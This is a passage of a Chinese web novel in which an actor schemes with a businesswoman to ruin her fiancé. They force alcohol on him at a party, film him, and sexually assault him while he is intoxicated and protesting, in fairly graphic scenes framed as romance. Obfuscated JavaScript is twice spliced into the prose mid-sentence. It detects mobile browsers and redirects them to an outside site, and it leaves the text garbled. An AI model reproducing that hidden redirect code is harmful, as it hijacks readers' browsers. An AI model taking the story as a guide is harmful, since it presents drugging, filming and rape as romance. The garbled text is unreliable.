《嗨，你老公在外面为我做0》 1. 第 1 章 “我绝对不会放过那个混蛋的！他凭什么让我跟小三似的陪他搞地下情！” 情绪上头的温茉茉没能控制住音量，让“小三”和“地下情”两个加黑加粗的关键词回荡在咖啡馆里，惹得为数不多的路人齐刷刷猛甩头，眼睛里充满了对八卦的渴望。 坐在温茉茉对面的黎舒恰到好处地抬了抬茶杯。 优雅，永不过时。 很快，温茉茉被来自四面八方的目光刺得瑟缩了一下脖子，又楚楚可怜地恳求起了对面慢悠悠喝茶的黎舒。 “学长，你一定要帮帮我，我现在能依靠的只有你了……” 温茉茉口中的“混蛋”指的是她交往一年的男友裴毅寒。 两人的恋爱经历就和言情小说类似，童年时的裴毅寒是个无人爱的小可怜，被家人送到温家照顾了一个月，期间温茉茉的出现抚慰了他受伤的小心灵。多年后温家家破人亡，裴毅寒继承家业，与孤苦伶仃的温茉茉重逢，自此成就了小作精女主和霸总男主的虐恋情深。 通常而言，面对身边人诡计多端的感情问题，黎舒既不劝分也不劝和。 无数前辈用血淋淋的教训告诉他，插手这类事件往往不会有好下场。 他谨记“天呐！”、“ta怎么这样？”、“我支持你！”三句万能口诀，放下助人情节，嘲笑他人命运。 唯独这次是例外。 “分。” 黎舒放下茶杯，三十六度的嘴里猝不及防地吐出一个冰冷的文字，连带着温茉茉身边那个头颅粉碎、脑浆四溢的鬼影都定在了原地，用镶嵌在碎骨和血肉里的眼球直愣愣地盯着他。 鬼影是温茉茉的老父亲，三年前从五十层高的办公楼顶跳下来并用脑袋着陆，基本碎成了一滩烂肉，依稀可见人形。 就在几分钟前，它还在黎舒的耳畔不断低语，试图蛊惑黎舒去满足温茉茉一切不合理的需求。 幸好在紧要关头，黎舒脑袋里灵光一闪，想到了自己被裴毅寒整死的十八种姿势，狠掐自己大腿，才勉强定住心神。 然后他迅速借着上厕所的由头，在服务员满脸狐疑地猜测自己是不是遭遇新型诈骗的死亡凝视中，借用了员工休息室里的观音像，才总算让这位死不瞑目的老父亲噤声。 要知道裴毅寒是裴氏集团的总裁，身价百亿，而他黎舒只是一个没背景没人脉的十八线小演员而已，温茉茉让他做临时男友撑场子，就跟劝他尝试坐云霄飞车不系安全带一样，他就算从半空中掉下来摔死了，都是死无对证。 而温茉茉显然没意识到自己的行为算是一种“谋杀”，不过，黎舒自认为宽容大度，并不会责怪于她。 一来，温茉茉也不知道死去数年的老父亲还守在她的身边对周遭人作祟。 二来，恋爱脑不是病，但如果将其比喻为病症，以黎舒对温茉茉的观察来看，她顶多算轻症，都还能听懂旁人的拒绝呢！天晓得这是多么令人欣慰的发现。 瞧瞧那些恋爱脑绝症患者们以天为被，以地为床，以旁人的目光为助兴品，以自我为宇宙中心去展开一场盛世play，才是真的要吓死无辜的随机路人。 温茉茉能够在类小说主角的生活里保持现在的模样，没有发生明显的变异，黎舒不忍心再对她奢求太多。 劝和是调解员的工作职责，劝分则是炮灰学长的穷图匕现，从温茉茉打电话主动约他出来见面的那一刻起，这件事儿就不能善了了。 温茉茉沉默了好一会儿，才小声解释道：“学长，你会错意了，我只是想让你当我的临时男友气一气裴毅寒，不是真的要跟他分手。” “这个男人确实有些手段。”黎舒面色凝重，“不仅撺掇得你为爱做他们之间的三，还能让你厚颜无耻地劝我做你们之间的三。” 四个人的故事说来绕口，但温茉茉居然秒懂。 她被噎了噎，底气不足地说:“……裴毅寒说他和乔家只是商业联姻，等到他从乔家取得了想要的东西后，他就会想办法解除订婚的。” 闻言，黎舒的眼底飞速闪过一丝兴味：“真的吗？我不信。” 温茉茉瞪大眼：“你为什么不信？” 黎舒张口就来：“裴总家大业大，何必做这种小人勾当，没准是你添油加醋了呢？” “放屁！我才没有添油加醋！”温茉茉一怒之下怒了一下，“我有视频为证！” 黎舒目光闪烁，循循善诱：“给我看看，不然我不信。” “哼！看完后你要跟我道歉！”温茉茉傲娇地一仰头，从手机里找出一段监控录像。 温茉茉不久前从裴毅寒豪宅搬到一间小公寓住，才搬了不到三天，裴毅寒就在下班后巴巴找到她坦白了自己对乔家的企图，只为了挽回她的心。 但只怕裴毅寒无论如何也想不到，温茉茉会轻而易举地将他出卖了。 “对不起，我的错。”看完视频后，黎舒真挚地道了歉，手指头动了动，一个不小心就将视频文件发送到自己的手机里。 温茉茉宽容大度地摆摆手：“没事，学长，我原谅你了。” “那咱们言归正传。”黎舒战术后仰，姿态里透着讥讽和冷漠，“裴毅寒打算用美色从另一个美女富婆那儿换取资源来养你？” 温茉茉：“……” 温茉茉张了张嘴，很想说“不是”。 但视频为证，黄天在上，裴毅寒的话就特么是这个意思。 哑巴了吧？黎舒脸上笑眯眯，修长精致的手不咸不淡地拍了两下。 “真是感天动地的仙人跳，狗男女为了吃口热乎的，忍辱负重，卧薪尝胆，令人敬佩。” 话糙理不糙，可这也太糙了。 温茉茉只觉得自己的脸被扇得劈啪作响，火辣辣的疼。 “学长，我是真的不知道该怎么办了，看在以往的情分上帮帮我吧，嗝~呜呜呜……嗝~” 温茉茉真的哭了，她不希望自己的亲亲男友误入歧途！ 黎舒默默举起手机，点开录像，今日份快乐源泉get。 平心而论，温茉茉是个精致的猫系美女，却也遭不住眼线液混着泪水在她白嫩嫩的脸上形成几条夸张的黑线，再搭配那唱大戏似的狗血台词…… 黎舒战术性喝水。 喝水、喝水……咳咳咳。 呛了一下。 黎舒深呼吸一口气，压低嗓音说：“我不是说过了么？分。” 温茉茉顶着哭花的脸，嗓音喑哑：“我不想分手！” “真是傻姑娘啊，小情侣之间分分合合是常态。”黎舒悠悠叹了口气，语重心长地说，“他现在被利益蒙蔽了双眼，看不到别的，只有让他尝到失去你的痛苦以后，他才能明白那些汲汲营营不过一场空。你看，你才从他家搬出来三天，他就迫不及待地跟你坦白了不是么？你现在跟他分手是为了助他重回正道，找回自我。” 温茉茉开始沉思。 沉思的时间有些久。 等得黎舒有些不耐烦了，她才艰难地开了口：“黎学长，我觉得你说的有道理。” “这就对了。”黎舒重新露出一抹微笑，“你最近干脆去国外旅游一阵吧，裴毅寒的电话和短信你也一概不能回复。” 温茉茉手指攥紧碎花裙的裙角，不太赞同地说：“可这、这不是冷暴力吗？” “都已经分手了，哪来的冷暴力？一时的心软才会害了他，让我看看你爱他的决心！”黎舒的语气暗含警告，让温茉茉感到肩上沉甸甸的。 或许这就是爱的责任吧。 在黎舒的注视下，温茉茉编辑了一条分手短信和分手语音。 然后发送、拉黑、订机票，一气呵成。 做完这一切后，温茉茉后背浸了一层冷汗，整个人都有些虚脱了。 让恋爱脑主动提分手确实是会要了她半条命。 黎舒达成“劝分男女主”的金色成就，心满意足地送温茉茉去了机场。 “你不在的这段时间，我会帮你看着裴毅寒的。有我在，难道你还不放心吗？” “谢谢你，黎学长。”温茉茉神情恹恹地说，“幸亏有你给我出主意，否则我只能眼睁睁看着裴毅寒越陷越深。” 黎舒发自内心地笑了，笑得很真挚，也很灿烂。 “不必，我们是朋友，应该互相帮助的。” 茉茉，既然你知道我帮了你天大的忙，现在，也该轮到你帮我了。 …… 当天，乔氏集团总裁办公室。 “拿老娘的钱养别的女人，老娘还是那个冤大头小三，他狗爹的，裴毅寒这小子有种！”看过黎舒手头的视频后，乔凛化身一头狂暴的母狮子，一抬胳膊便横扫了整张桌面。 商业联姻的本质是利益互换，合作共赢。 对于裴毅寒这种想把自家吃干抹净的盘算，乔凛怒极反笑。 乔氏是不输于裴氏的豪门，乔凛则是乔氏集团唯一的继承人，她自认和裴毅寒条件合适，门当户对，哪怕是商业联姻也不会亏待对方，哪成想对方竟然如此狼子野心。 虽说视频里的裴毅寒宣称自己只要从乔氏拿到一些东西就会撤，但谁晓得他的胃口究竟有多大，是不是企图把乔氏整个吃下？ 黎舒勾了勾唇角，声音里夹带着鲜明的恶意：“乔总，姓裴的这么践踏你的自尊，欺骗你的感情，你应该不会想要善了吧？” “老娘玩儿不死他！”乔凛上挑的丹凤眼如淬了毒的刀子般阴狠。 尔后，她定了定神，再看向黎舒，冷淡地开了口。 “说吧，你想要什么？” 黎舒从容道：“希望乔总能投资我的公司。” 乔凛：“你要多少？” “五百万就够了。”黎舒说出金额后，见乔凛没有追问的意思，反笑道，“乔总难道不问问我的公司是经营什么业务吗？” 乔凛扬了扬红唇，摆摆手：“没必要，五百万只是小意思，亏了就当我做慈善，能赚最好。” 对比和裴毅寒订婚后对方暗戳戳的小动作可能给乔氏集团造成的经济损失，五百万岂止是少，简直是小儿科，乔凛在国外读大学时每个月的零花钱都比这多。 这也令她对黎舒的好感直线上升。 跟懂得适度的聪明人讲话就是舒服。 【尾号****卡4月15日16：21网上银行收入5000000.00元】 “乔总大气。”黎舒看到银行的汇款信息后，愉悦地弯了弯眼睛，“能够问问乔总打算对裴毅寒做什么吗？” 乔凛眉头一挑：“玩人者，人恒玩之，老娘当然是要找人淦他丫的！” 黎舒微征，举起手，像是一个好学生在谨慎地询问做题思路：“具体是哪方面的？” 乔凛露出了恶意满满的冷笑：“当然是你想的那方面！套麻袋揍他一顿，顶多让他受痛一时，而我要让他一辈子都笼罩在阴影里！” ——原来还有这种报复手段么？ 黎舒摸了摸下巴，若有所思地垂下了头。 乔凛以为他是怕了，暗自哂笑。 文质彬彬衣冠楚楚的小男人，看着人高马大的，实则不禁吓。 谁知，黎舒抬起头便问：“我去行不行？” “……嗯？” 乔凛掏了掏耳朵，以为自己怒急攻心突发恶疾，耳背了：“What the fu*k？” 黎舒微笑地重复了一遍：“我去，行不行？” 乔凛仔细观察起黎舒那张秀雅温和的面容，灯光映在他那对黝黑的瞳仁上，宛若露水短暂停驻在一块清澈的墨玉上，不急不躁，不争不显，亲切又疏离地释放着自己的光芒……前提是忽略掉他眼底浮现的那一丝隐晦的狠色。 这小子，也是个阴险毒辣的货。 乔凛神色复杂：“我以为你是温茉茉的朋友，确切来说……我以为你是因为喜欢她，所以想要铲除裴毅寒。” “怎么可能？当然不是。”黎舒啼笑皆非，他对温茉茉自始至终只有利用，只是一直以来都没能利用得上。 当年温家也是海州市财力雄厚的豪门，黎舒得知同校的温茉茉就是温家的独生女后，在大二时才慢其他人一步加入了学校的摄影社团，以学长的名义对大一新生的温茉茉多有照顾，期待能收获温家指头缝里漏出的一点资源，挣一个大好前程。 奈何天不遂人愿，温茉茉入学不到一年，温家破产，温父承受不住打击跳了楼，温茉茉也因家庭变故休了学。 黎舒认为瘦死的骆驼比马大，一直没和温茉茉断了联系。 直到今天，他险些被死鬼温父坑得栽个大跟头，才陡然意识到一件事：指望温茉茉能主动帮上自己，就跟指望公鸡下蛋一样离谱。 既然如此，那就别怪他抛弃情面，把对方利用个彻底了。 人和人的关系，本质不就是互相索取、互相利用么？ 乔凛这下也瞧出黎舒确实对温茉茉没那个意思，好奇道：“原来你喜欢男的？” 黎舒诚实地回答：“说实话，不清楚，反正没喜欢过女的。” 乔凛将黎舒从头到脚扫描了一遍，以自己交往过不下十任鲜肉的恋爱经验发出质疑：“有经验么你？” 黎舒诚实地摇了摇头。 乔凛脱口而出一声“握草”。 扯了半天，还是个雏儿，就敢这么大放厥词？ “我想在裴毅寒身上试试。”黎舒翘起二郎腿，慢条斯理地说，“反正我不亏。” “你确实不亏……”乔凛细长的手指在桌面上点了点，“可又何必呢？” 要说黎舒色|欲熏心，乔凛是不信的。 青年这样优异的外形条件，去街上挥挥手，就会冒出大片的追求者了，犯不着为了讨好她做出如此大的牺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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裴氏集团是全国前三的连锁酒店品牌，近些年来内忧外患不断，作为裴氏集团的总裁，他看似风光无限，实则处处受到限制，有无数双眼睛盯着他的位置，盼着他出错，他的一举一动都会影响到全公司的股价。 他弱小的时候遭到数不清的欺凌与打压，等他强大起来后，又要和陌生的、相识的，甚至熟识的人们斗得头破血流，才慢慢爬到了今天的位置。 对权利的追求早已融入了他的骨血之中，无药可医，只有事业上的成就能够缓解他不安心灵的燥痛。 这天半夜十一点，比平时晚入睡二十多分钟的裴毅寒才刚进入浅眠，便被一阵电话声吵醒。 来电显示【乔凛】，电话那头是嘈杂的音乐和喧哗的人声。 “裴毅寒，我有点醉了，你现在来接我！我给你发定位！” 裴毅寒不敢置信地紧皱眉头，沉声低喝：“乔凛，现在是晚上十一点，不是中午十一点！你还记得明天下午就是我们的订婚宴了吗？” “我听不到你在说什么！！！”乔凛醉醺醺的吼叫声几乎要扎破裴毅寒的耳膜，“快过来行使你这个未婚夫的责任！！！” 眼见乔凛直接挂断电话，并且发来了一个定位，裴毅寒头痛地揉了揉太阳穴，换好衣服，认命地开车去接人。 乔凛发来的定位是市郊一栋专门出租供人举办派对的花园别墅。 四十分钟后，裴毅寒拿着电子请柬推开别墅大门，立刻被屋内的灯红酒绿晃到了眼。 来来往往的派对宾客穿着奇装异服，佩戴着各式各样的面具，你笑我闹，纵情声色。 有不少人都注意到了这位半路杀进来的新客人。 他容貌冷峻，面部线条刚毅立体，五官如雕塑般英俊，锐利的剑眉下是一对黑曜石般的眼眸，折射出令人胆寒的目光，但是居然在这样的场合西装革履，连头发丝都透着规整，简直像是从另一个世界穿越来的。 裴毅寒停在原地，环视四周，面色愈发冷酷。 “乔姐，你未婚夫来啦！” 人群中不知是谁喊了一声，乔凛这才从角落的沙发上起身。 她今天穿着银色皮革短裙，佩戴一顶八角帽，犹如军火女王般众星捧月，也是现场唯一一个没有佩戴面具的人。 “来了？愣着干嘛？喝酒啊！”乔凛走到裴毅寒身边，用胳膊勾住了他的脖子。 裴毅寒的肢体更加僵硬。 乔凛这番强势掌控的姿态令他极为不适，对方光是站在他身边，他都要担心自己的脖子有没有被利齿抵住。 “你是让我来接你的。”裴毅寒掰开乔凛的手，声音冷硬地说，“我要开车，不能喝酒。” 乔凛讥诮地舔了舔唇角，仿佛看到案板上的肉块在叫嚣着不想乖乖被吃。 “呵，来都来了，还矫情个什么劲儿？这里有大把能开车的人，你就乖乖给老娘喝吧！” 说着，乔凛给身边人使了个眼色，一堆人连拖带拽地将裴毅寒摁在了最近的沙发上。 “你们做什么？放开我！”裴毅寒震声怒喝，开始剧烈挣扎起来。 然而他学习多年的防身术在人堆里完全发挥不了作用。 突然，他感到一只如玉雕般冰冷颀长的大手穿插在他的发丝间，用力一握，将他的脑袋往后拽去。 嘴巴被掰开，冰凉的酒液灌入喉咙，在食管里留下一串火烧般的灼痛。 “唔、唔……！” 在不知道被灌了几杯酒后，裴毅寒挣扎的四肢渐渐脱力。 酒精开始进入血液循环，融化了他的坚硬防备，也让他从苦涩、辣痛的酒水中寻到了一丝脱离现实的慰藉。 理性的神经积累了大量的痛苦与压力，在神经麻痹以后，这些负面情绪便开始肢体化。 “我这儿的酒很有劲道，还喝吗？”乔凛笑呵呵地将一个高脚杯递到裴毅寒眼前。 裴毅寒没有正面回答，而是喘着粗气，凶狠地夺过乔凛手里的高脚杯，将里面的酒液一饮而尽。 见状，乔凛扬声道：“好！不愧是裴总，够豪迈！大家鼓掌！” 掌声如雷鸣般轰然响起。 在眩晕与清醒的边界上，裴毅寒感到自己正被一只只手臂托举到山巅之上。 他无需再为现实中莫测的繁琐压抑自己，他已经比肩造物主，将宇宙的秩序都纳入自己的掌心之中。 人群渐渐散去，他捕捉到了一股熟悉的味道，宛若绽放在雨后原野的唯一一朵茉莉花。 “你在哪、在哪……” 裴毅寒挥舞着手臂，好不容易才抓住了那道若即若离的身影。 “呵，你又戏弄我……” “我抓住你，你就是我的了……陪我！以后哪都别去！我不准你去！” 裴毅寒掐住了那道遒劲有力的腰，双眼燃起一片血红，是酒精投入烈火的刹那所迸发的极致热烈。 他将嘴唇印了上去，如同一头被囚困在陷阱中挣扎的野兽般胡乱啃咬起来，却没注意到眼前的人甚至比他还高出半个头。 “裴总可真主动，你今晚有福气了。” 乔凛恶劣地勾了勾嘴角，和黎舒飞快地对视一眼后，点开了录像。 2. 第 2 章 交错闪烁的灯光如同浓稠颜料泼洒在视网膜上，口腔中腥甜的滋味弥漫开来，此刻整个世界都被浸泡在了五彩斑斓的糖浆里。 黎舒涩滞的技法迎合了裴毅寒对情感关系里的权力掌控欲，而黎舒以秒为单位的进步与成长又令裴毅寒很快便抗拒、挣扎起来。 “停下……”裴毅寒推了推黎舒，力道不足，没推开，只能自己后退一步。 他含糊警告道：“不要越线，我不准……” 黎舒：“什么线？” “我要，对你负责。结婚前不行，设立边界有必要。”裴毅寒将额头抵在黎舒的肩膀上，深吸一口气，复又抬起了头。 说退一步的是他，要进一步的也是他。 要怪就怪这个吻太甜了。 它既是被精心调制的诱饵，又是陷阱本身，它仅需被静置在原地，便足以让饥饿的野兽趋之若鹜。 越是进食，便越是享受；越是享受，便越是沉溺。 直到骨头被过量的糖分渗透软化，失去奔跑能力的野兽沦为待宰的羔羊。 裴毅寒能清晰地听到心脏在胸腔内剧烈碰撞的声音，但这并非悸动，而是恐慌——密密麻麻的贪婪目光化作一只只蠢蠢欲动的手臂朝他攀附而来，在他的弱点被发现之前，被他被抓住撕碎之前，他必须找个安全的地方把怀中的珍宝藏好。 强烈的求生欲突破酒精的簇拥，让裴毅寒跌跌撞撞地行动起来，攥着黎舒手腕的指节因过于用力而泛着惨白。 “快走……” “去没有其他人的地方……” 昏暗的宴会厅角落，裴毅寒在地上摔了一次又一次，仿佛搁浅的鱼不断在歧路上甩尾吐腮，那身熨帖的高定黑西装被随意放置的杂物划破，扎进西裤的衬衫下摆不安分地松散开来，勾勒出遒劲的腰部线条。 黎舒眼神晦暗了一瞬，状似无意地挡住了裴毅寒若隐若现的肌肉，然后搭着他的肩膀，将他带往远离宴会厅的三楼卧室。 嘈杂的人声渐渐远离。 裴毅寒闭着眼睛，呼吸渐渐平缓，安心地将大半重量倚靠在身边的“电线杆”上。 不多时，天空下了一场太阳雨，溶解了限制他自由行动的束缚。 他倒进一片棉花地里，怀抱一只毛茸茸的小猫。 小猫顽皮又任性，在他的身上到处蹦跶，落下道道细碎的猫爪印，搅乱他的睡眠。 对此，裴毅寒并未恼怒，只是沉沉地笑了笑，顺毛安抚小猫的情绪。 “乖，别闹，我们睡觉。” 乍然听到裴毅寒这么说，黎舒略微怔神，定定地看向他。 只见青年卸下了精英男性冷酷又世故的社交外壳，露出了毫无防备的底色，一贯凌厉威严的眉眼舒展开来，琥珀色的瞳仁映出柔软的蜂蜜色，总是紧抿的嘴角漾开一道柔和的弧度，有慵懒醉意的醇厚嗓音从喉间缓缓滑出，带着一丝天真的孩子气。 黎舒感到心尖停栖了一只蝴蝶，但不等他再多看一眼，蝴蝶便扑扇着翅膀飞走了，只在原地留下星星点点的鳞粉，提醒他错过了一道美好的风景。 心底忽地升起一阵烦躁。 “睡觉是么？”黎舒危险地眯起眼睛，“行啊，裴总，我都听你的。” 怀里的小猫摇身一变成了食人虎，一口咬下去，裴毅寒痛得冷嘶一声。 尔后，这头猛虎叼着他回了巢穴，又狠狠咬了他几口，却并没有选择吃他的肉，似乎是要将他养起来过冬吃。 对方还好心地衔来一大块鲜肉喂给他吃。 只是……喂错了地方。 “唔！” 裴毅寒听到了伤口开裂的声音，紧随其后的便是一阵前所未有的剧痛。 这阵剧痛唤醒了他的理智，让他的目光穿过小猫和食人虎的幻影，看到了一个戴着白猫面具的青年。 青年的面容被遮得严严实实，唯有那双被长睫遮住的眼睛在灯光下隐约搅动起深邃的漩涡。 “你是谁？” 裴毅寒下意识问出声，但经过最初的惊吓后，他又迅速意识到发生了什么，瞳孔微微扩散。 他居然因为饮酒，将一个男人错认成了温茉茉，并且跟对方做了直达内心的深度交流！ 他还是受伤的那个！ 这简直是……荒谬绝伦！ 裴毅寒浑身肌肉因用力而紧绷，额角青筋暴起，眸底好似有一座即将喷发的活火山。 但黎舒一时间管不了这么多，他见自己被裴毅寒拿捏住无法动弹，遂扬起了巴掌。 “噼啪”一声清脆鼓响传来，伴随着轻微的麻痹感，裴毅寒整个人僵化，下意识地往身后瞧了瞧。 白色的墙面上清晰地印着一个淡红的手掌印。 自打他有记忆以来，从没有人这么拍过他！ 他童年时期并非没有接受过更加残酷的惩罚：他被罚跪过宗族祠堂，膝盖肿痛几天不能正常走路；也被戒尺抽打手心直至手心出血，无法正常生活；更是被罚饿着肚子练军姿，直至中暑昏迷…… 对比以前那些刁钻刻薄的“管教”，眼下这一拍完全不痛不痒，但是……却透着一股更加莫名的味道。 既是被支配，又是被宠溺，仿佛他是一个任性的宠物，给主人添了点可控的小麻烦。 “裴总，你居然问我是谁？”黎舒勾了勾嘴角，慢悠悠地朝裴毅寒凑近几分，两人鼻尖贴着鼻尖，能互相嗅到对方身上迷醉的酒气和慑人的血腥气。 “我是你捡回家的小猫啊。”黎舒歪了歪头，促狭道，“小猫的花语是手慢无，这不，你当时第一个冲上来把我抓住，说什么都要带我到没人的地方，我实在没法拒绝呢……喵呜？” 一声故意做作的男猫叫令裴毅寒陡然回神，意识到自己被戏弄了，脸色漆黑一片，心底更是蹿出一股杀意。 “滚出去！” 黎舒真诚反问：“从哪里？” 下一秒，裴毅寒的拳头便直勾勾地朝黎舒的面门挥了过来。 黎舒单手一握，便拿捏住了裴毅寒的拳头，饶是裴毅寒用上了浑身的力气，拳头 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黎舒飘忽的语气夹杂着讽刺的悲哀：“它们会一直在死去的地方碎碎念，要说它们是求助吧，那也没有。它们仅仅是在念叨，无论谁上去询问都不会得到答复，直到它们的能量维系不了自身存在，它们也就消失了。” 裴毅寒听不懂黎舒突然说这些是做什么，也不想听，只凶狠地将脑袋向后仰着，像是一头暂时居于下风但随时准备撕咬猎物要害的凶兽。 突然，黎舒举着刀子往前刺了过去。 “唔！”裴毅寒呼吸一滞，试图咽下一声痛呼，鼻尖颤抖的吐息却又泄露了他的孱弱。 莫大的屈辱感如潮水般淹没而来，冥冥之中，他听到一道声音在说：“你过去为了事业所作的努力毫无意义，你就是这种会被人轻易碾压的弱者。” 裴毅寒的瞳孔反复失焦又聚拢，被疼痛拉扯的神经在这一刻竟忽然敏锐起来，他仿佛透过面具下居高临下的眼神，看到了黎舒正漫不经心地笑着。 这一认知令裴毅寒彻底崩溃，连带着他那矜贵持重的上位者姿态也终于破碎。 “我一定会杀了你！” 裴毅寒的眼球遍布血丝，呼吸如同破风箱般粗重，生理性的泪水从眼角溢出，沿着凌厉的下颚线落在男性气概十足的宽阔肩膀上。 这份杀意是货真价实的，是雄性生物互相争夺首领地位的野性，只有用另一方的死亡才能平息。 “看来裴总只是将我当成一个随手可取又随手可抛的玩意儿罢了。”黎舒笑着抽身，裴毅寒脸色一僵。 有类似血浆的东西被黎舒从伤口中带了出来。 “其实我是第一次跟另一个人有如此亲密的接触。”黎舒给裴毅寒留下了一份名为纯洁的礼物，“但是啊，裴总，你在杀我之前，至少要先找到我，可不要伤及无辜了呢。” 黎舒从后方掐住裴毅寒的脖颈，轻轻舐去停挂在他肩上的泪珠。 “比起当个玩意儿，我更希望能成为你的噩梦。” 3. 第 3 章 “孽障！竟跟你那私奔的妈一个德性！” 裴父低沉威厉的声音从头顶传来，紧接着，马鞭带着簌簌风声落下，砸在裴毅寒紧绷的后背上，发出清脆的啪啪声，一下、两下、三下……灰色风衣上渐渐晕开暗红的血渍。 裴毅寒低垂着脑袋，冷汗从额前的碎发渗出，沿着苍白的脸颊，滴在散了一地的文件纸上。 这些文件里，有他和温茉茉互相出入对方住所的照片，也有他买礼物的消费记录，甚至还有两人的聊天记录……都是极为隐私的东西。 裴毅寒感到一双无形的大手将自己的心脏硬生生撕开，然后，那些他精心藏匿的恋爱与悸动都被拖出来反复拷打。 羞耻、崩溃、不甘、愤怒……种种情绪如火焰般灼烧，又被父权强压成灰烬。 裴毅寒梗着脖子，呼吸逐渐紊乱，视野被拖入一片深不见底的黑暗，原本强撑着挺直的背脊也开始摇晃起来。 就在不到半天前，他还遭受过一次噩梦般的摧残，即便现在伤处已经上了药，可只要他有一丁点动作，羞耻的刺痛便回荡在他空虚的腹中。 白猫面具的青年离开时已经是后半夜，等专属司机和保镖从派对别墅的后门将他接走后，他还找来了私人医生检查身体，然后不待他休息，裴父一通电话便将他叫回了老宅。 他是真的撑不下去了…… “阿弟，别打了，再打真把孩子打伤了。” 马鞭打到第十下的时候，裴大伯看出了裴毅寒的状态不妥，立马揽住裴父的肩膀，再顺手夺过马鞭，并用眼神示意管家把裴毅寒从地上扶起来。 “年轻人嘛，难免会感情用事，想当年我给家里添的麻烦不比小寒严重多了？”裴大伯声线温厚，不紧不慢地说，“小寒是有错，错在临近订婚都没把那小丫头处理好，但更得怪那丫头轻佻放浪、不识大体，你不要为了别人的错去惩罚自己的骨血。” 裴大伯提到从前，裴父想到什么，怒气消散许多。 “也不知道温家那个小丫头到底给他灌了什么迷魂汤，当初真不该由着他妈把他送到温家照顾。”裴父的嗓音极沉，略带沙哑，就像是被风霜打磨至锋利的冰锥，带着不容反驳的力道： 很难想象，这两人竟是前后出生的双胞胎。 裴大伯体型微胖，皮肤润白，脸上没什么皱纹，身上总带着一股檀香气，仿佛有几分菩萨相。 而裴父则是身形挺拔，眼窝深邃，一双眼睛黑沉如墨，看人时总透着一股审视的神色，脸上的每一道皱纹都似刀刻般积威甚重，那半百的发丝被梳理得一丝不苟，一如他不容半分差池的权威。 “抬头。” 裴父一声命令，被管家搀扶着的裴毅寒艰难地抬头看他。 “我要你知道，你现在能坐上集团总裁的位置，不是因为你比其他四房的兄弟姐妹们优秀，而是因为你的祖母比其他四房的老夫人更厉害。” 几年前去世的裴老爷子先后有五任妻子，18名子女，一百多名孙子孙女（包含私生子），裴父这一脉是三房。 裴老爷子是香江人，上世纪80年代末发现了内地的巨大市场，遂转来内地发展，并结识了裴父的母亲白氏。 白氏并非是裴老爷子最宠爱的女人，但却是娘家家底深厚，实实在在的跟他一起打拼过事业的女人，因而裴老爷子对三房这一脉的看重仅次于他初恋白月光的二房老夫人一脉。 也正是因为常年要跟一大群同父异母的亲戚斗智斗勇，裴父和裴大伯两兄弟的感情多年如一日的和谐。 裴父面无表情地盯着裴毅寒，语气里透着失望：“毅寒，我之所以选择你作为联姻对象，是因为在我跟你大伯的几个孩子里，只有你的年龄刚好最适合这段联姻，如果你当初不愿意，就该早些跟我们谈，我们会给毅松或毅远做做心理建设，让他们去联姻。” 裴父口中的毅松是裴毅寒同父异母的弟弟，比他小五岁，如今还在国外读大学，成绩优秀但性格叛逆；毅远则是裴毅寒的堂哥，比他大六岁，性格乖僻，爱好艺术，经常去各地开画展。 裴大伯也点点头，温柔地责备道：“小寒，这确实是你的不对。在你不搞出私生子的前提下，你在外头是否有情人，有几个情人，情人是男是女，我们都无所谓，但你不能意气用事，为了个女人把正事搞砸。” “家里已经够乱了，还是别太放肆。”裴父不赞同地睨了裴大伯一眼，继续对裴毅寒说，“乔家那边已经发表声明取消了今天下午的订婚宴，不过给我卖了个面子，没有向媒体公开真正原因。事已至此，我不指望你挽回乔家的婚约，但是你必须将损失降到最低。” 裴大伯：“以及，温家那个小丫头，你还是尽早分手吧。你这孩子平时一声不吭的，估计是压抑太久，如果你需要，我这个做大伯的，给你介绍别家的姑娘做未婚妻，肯定比温家那个小丫头要好得多。” 裴父喝了口茶水润润嗓子：“还不快谢谢你大伯？” “……是，谢谢大伯。”裴毅寒喉结动了动，艰涩地应下。 裴毅寒没说的是，温茉茉已经跟他分手了。 但他不能说，否则事情就没有转圜的余地了，无论是出于脸面还是利益因素，两位长辈都不会允许自家小辈跟一个女人分分合合反反复复，玩所谓的爱情游戏。 尤其是当裴毅寒还占着裴氏集团总裁位置的时候，裴父和裴大伯只怕会后悔当初选错了人，不该扶持裴毅寒上去的，然后便赶在事情闹到其他四房眼前之前便将他薅下来，换其他人补位。 因此，眼下裴毅寒只能继续假装他和温茉茉还在一起……并且他坚信自己一定会等来温茉茉回心转意的。 毕竟现在他和乔家的商业联姻已经取消了！ 从老宅出来后，裴毅寒在管家的搀扶下一瘸一拐地坐上了车。 司机见裴毅寒换了身衣服，满脸苍白疲惫，扭过头来小心翼翼地询问：“裴总，接下来去哪里？” “去乔氏集团。” 司机犹豫：“可是……您身体不要紧吗？” 闻言，裴毅寒面色缓了缓：“没事。” 他不仅是第一时间遵从裴父的命令去挽回损失，更是想向乔凛确认一些事情。 …… 同一时刻，位于乔凛在海州市中心的大平层内，乔凛将得到的资料递给了黎舒。 “曾用名林时安，男，24岁，身高192cm，体重79kg ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16011368|178401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，腿长113cm，三围104-72-98……哇哦，性感炸弹！海州市生人，父亲林炜豪，于23年前因交通意外去世。母亲黎沁柔于10年前改嫁，现在是一名全职主妇，生了一对儿女，现任丈夫是魔都人，有一家汽修厂……” 时间有限，现在这些资料都是明面上的东西，真正要查的话，哪怕是以乔家的雄厚资本，也要花不少时间。 最主要的是，乔凛吃瓜心切，不愿等太久。 她双手环抱：“原谅我两眼发黄，并没有看出你和裴家有什么故事，你是想主动说出来还是被迫说出来？” 黎舒半开玩笑道：“不知乔总打算怎么威胁我？” 乔凛：“当然是向裴毅寒公开白猫面具的真身。” 